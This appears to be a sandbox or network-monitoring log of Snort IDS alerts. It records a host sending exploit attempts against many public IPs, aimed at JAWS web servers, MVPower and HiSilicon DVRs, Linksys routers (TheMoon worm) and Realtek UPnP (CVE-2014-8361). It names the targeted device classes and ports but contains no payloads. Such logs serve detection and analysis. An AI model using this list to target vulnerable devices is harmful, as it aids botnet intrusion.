Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47928 -> 20.74.17.23:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40500 -> 59.120.68.103:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.68.179.11:80 -> 192.168.2.23:37092 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59920 -> 18.65.195.147:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:52674 -> 98.211.103.227:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33670 -> 172.241.88.214:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55742 -> 97.90.232.46:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.101.15.7:80 -> 192.168.2.23:55310 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46058 -> 23.210.228.79:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55742 -> 97.90.232.46:80 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57404 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:54990 -> 172.65.91.177:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.210.228.79:80 -> 192.168.2.23:46058 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36626 -> 172.65.26.61:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37606 -> 172.65.112.73:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36918 -> 98.165.225.3:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36282 -> 184.25.211.164:8080 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 76.109.49.244:23 -> 192.168.2.23:56932 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36310 -> 184.25.211.164:8080 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57464 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:57764 -> 190.134.37.17:52869 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:58166 -> 190.135.144.20:52869 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54440 -> 161.35.231.164:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38168 -> 154.197.251.215:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49422 -> 172.67.29.119:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38620 -> 172.67.122.23:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:54178 -> 184.68.100.18:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.101.43.14:80 -> 192.168.2.23:38666 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57514 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44992 -> 162.44.167.53:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44658 -> 194.53.55.214:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44658 -> 194.53.55.214:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55794 -> 74.208.43.178:80 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57554 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57568 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53348 -> 23.60.204.222:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.60.204.222:80 -> 192.168.2.23:53348 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38572 -> 54.192.67.125:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38594 -> 54.192.67.125:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49010 -> 172.64.130.207:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47318 -> 195.20.24.25:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38368 -> 134.0.118.179:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38368 -> 134.0.118.179:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.101.167.191:80 -> 192.168.2.23:57520 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.150.171:80 -> 192.168.2.23:43160 |
Source: Traffic | Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:44574 -> 95.70.136.82:23 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38668 -> 172.65.233.70:8080 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57648 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33340 -> 172.67.223.35:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49056 -> 85.128.167.254:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:44988 -> 98.128.240.38:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49140 -> 85.128.167.254:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49056 -> 85.128.167.254:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37478 -> 46.218.57.156:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49140 -> 85.128.167.254:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51178 -> 101.200.44.206:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36564 -> 54.37.163.66:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32876 -> 20.74.113.164:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46334 -> 175.205.35.58:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40504 -> 198.46.90.166:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55208 -> 154.210.209.56:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46548 -> 75.101.146.213:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35270 -> 216.250.110.133:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47278 -> 23.32.187.239:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59424 -> 111.223.59.45:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53350 -> 206.2.148.237:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46334 -> 175.205.35.58:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46548 -> 75.101.146.213:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.32.187.239:80 -> 192.168.2.23:47278 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53350 -> 206.2.148.237:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48560 -> 98.38.245.106:8080 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57744 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33776 -> 172.67.248.198:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37778 -> 172.247.107.226:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55590 -> 184.69.160.138:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 88.221.136.55:80 -> 192.168.2.23:51978 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.95.253.201:80 -> 192.168.2.23:51736 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57818 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60746 -> 34.255.208.151:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57372 -> 196.18.17.236:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58034 -> 184.25.152.207:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60746 -> 34.255.208.151:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.25.152.207:80 -> 192.168.2.23:58034 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 196.18.17.236:80 -> 192.168.2.23:57372 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57372 -> 196.18.17.236:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53030 -> 70.98.13.24:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39404 -> 173.222.152.160:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58046 -> 108.139.101.206:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53030 -> 70.98.13.24:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44824 -> 52.32.72.217:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40796 -> 164.42.78.133:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 173.222.152.160:80 -> 192.168.2.23:39404 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39404 -> 173.222.152.160:80 |
Source: Traffic | Snort IDS: 1251 INFO TELNET Bad Login 95.70.136.82:23 -> 192.168.2.23:44574 |
Source: Traffic | Snort IDS: 718 INFO TELNET login incorrect 95.70.136.82:23 -> 192.168.2.23:44574 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44824 -> 52.32.72.217:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33860 -> 199.232.16.229:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35430 -> 216.250.110.133:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56056 -> 156.246.253.181:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60486 -> 23.49.45.207:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.49.45.207:80 -> 192.168.2.23:60486 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60486 -> 23.49.45.207:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38128 -> 23.36.109.166:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.36.109.166:80 -> 192.168.2.23:38128 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58466 -> 23.32.81.73:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44026 -> 50.236.27.234:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51432 -> 34.138.148.226:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35134 -> 64.13.162.3:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33368 -> 182.16.191.41:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.32.81.73:80 -> 192.168.2.23:58466 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:57998 -> 190.134.161.38:52869 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:57168 -> 190.133.201.84:52869 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:55750 -> 190.133.84.58:52869 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50710 -> 184.190.38.71:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40076 -> 172.67.114.173:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33756 -> 98.147.244.123:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35348 -> 98.197.96.241:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:54576 -> 98.124.109.113:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38114 -> 172.64.207.75:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.101.44.61:80 -> 192.168.2.23:35370 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.101.106.61:80 -> 192.168.2.23:34286 |
Source: Traffic | Snort IDS: 1251 INFO TELNET Bad Login 183.99.119.177:23 -> 192.168.2.23:57818 |
Source: Traffic | Snort IDS: 718 INFO TELNET login incorrect 183.99.119.177:23 -> 192.168.2.23:57818 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36992 -> 18.158.55.155:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36446 -> 35.186.238.95:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46044 -> 51.255.162.150:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36992 -> 18.158.55.155:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46044 -> 51.255.162.150:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43680 -> 75.168.201.222:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43680 -> 75.168.201.222:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35900 -> 172.67.205.26:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46308 -> 60.10.8.252:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39002 -> 172.193.186.92:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35622 -> 98.234.128.149:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39142 -> 98.178.242.165:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42724 -> 172.67.219.238:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43092 -> 172.64.95.113:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45414 -> 172.65.185.194:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:59698 -> 172.65.238.19:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38576 -> 87.233.71.181:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38576 -> 87.233.71.181:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45642 -> 47.100.239.114:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43210 -> 66.180.149.91:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54470 -> 20.114.117.200:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37962 -> 18.208.234.6:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43336 -> 35.130.36.202:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59604 -> 184.51.50.41:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45798 -> 138.197.200.98:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43210 -> 66.180.149.91:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.51.50.41:80 -> 192.168.2.23:59604 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43336 -> 35.130.36.202:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41890 -> 54.79.52.169:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41890 -> 54.79.52.169:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43120 -> 172.64.99.231:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51140 -> 172.65.7.163:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36910 -> 172.67.211.212:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55808 -> 172.103.156.208:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:53968 -> 98.124.103.140:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50662 -> 172.197.80.195:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45986 -> 79.30.74.27:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60910 -> 79.163.228.62:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43394 -> 18.192.146.139:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60910 -> 79.163.228.62:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50658 -> 149.169.158.198:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51560 -> 172.67.161.167:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:60394 -> 172.67.97.95:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51770 -> 104.75.43.172:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38668 -> 220.135.237.144:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45448 -> 188.166.243.64:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45190 -> 54.230.250.107:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37768 -> 128.136.151.20:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:41196 -> 98.21.38.92:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60678 -> 202.164.213.52:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45190 -> 54.230.250.107:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.75.43.172:80 -> 192.168.2.23:51770 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38668 -> 220.135.237.144:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 88.221.180.51:80 -> 192.168.2.23:56014 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40796 -> 164.42.78.133:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39982 -> 172.65.101.30:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37746 -> 172.67.63.80:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56078 -> 94.52.193.134:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40068 -> 165.22.78.66:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56078 -> 94.52.193.134:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33558 -> 172.64.80.190:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40428 -> 172.65.134.175:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43246 -> 51.91.99.141:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36874 -> 159.69.107.173:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36874 -> 159.69.107.173:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40156 -> 165.22.78.66:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45988 -> 192.30.145.201:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45850 -> 188.166.3.160:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46308 -> 51.15.5.42:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35090 -> 65.8.254.138:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35094 -> 65.8.254.138:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38792 -> 158.82.131.48:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41818 -> 44.240.174.108:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56824 -> 172.252.76.210:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46746 -> 156.226.15.192:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52540 -> 104.252.11.18:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40218 -> 208.94.35.227:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32788 -> 200.17.142.247:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39136 -> 18.228.21.186:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35090 -> 65.8.254.138:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35094 -> 65.8.254.138:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41242 -> 164.88.165.199:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49774 -> 202.92.7.104:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56824 -> 172.252.76.210:80 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:58452 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32788 -> 200.17.142.247:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39136 -> 18.228.21.186:80 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 175.126.79.34:23 -> 192.168.2.23:50874 |
